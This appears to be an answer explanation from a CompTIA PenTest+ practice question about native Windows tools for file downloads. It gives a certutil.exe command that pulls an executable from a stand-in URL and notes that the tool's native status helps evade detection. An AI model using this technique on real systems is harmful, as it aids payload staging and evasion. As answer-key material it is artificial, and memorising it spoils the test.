* Certutil.exe for File Downloads:
* certutil.exe is a native Windows utility primarily used for managing certificates but can also be leveraged to download files from the internet.
* Example command:
bash
Copy code
certutil.exe
-urlcache -split -f http://example.com/file.exe file.exe
* Its native status helps it evade detection by security tools.
* Why Not Other Options?
* A (netsh.exe): Used for network configuration but not for downloading files.
* C (nc.exe): Netcat is not native to Windows and would need to be introduced to the system.
* D (cmdkey.exe): Used for managing stored credentials, not downloading files.
CompTIA Pentest+ References:
* Domain 3.0 (Attacks and Exploits)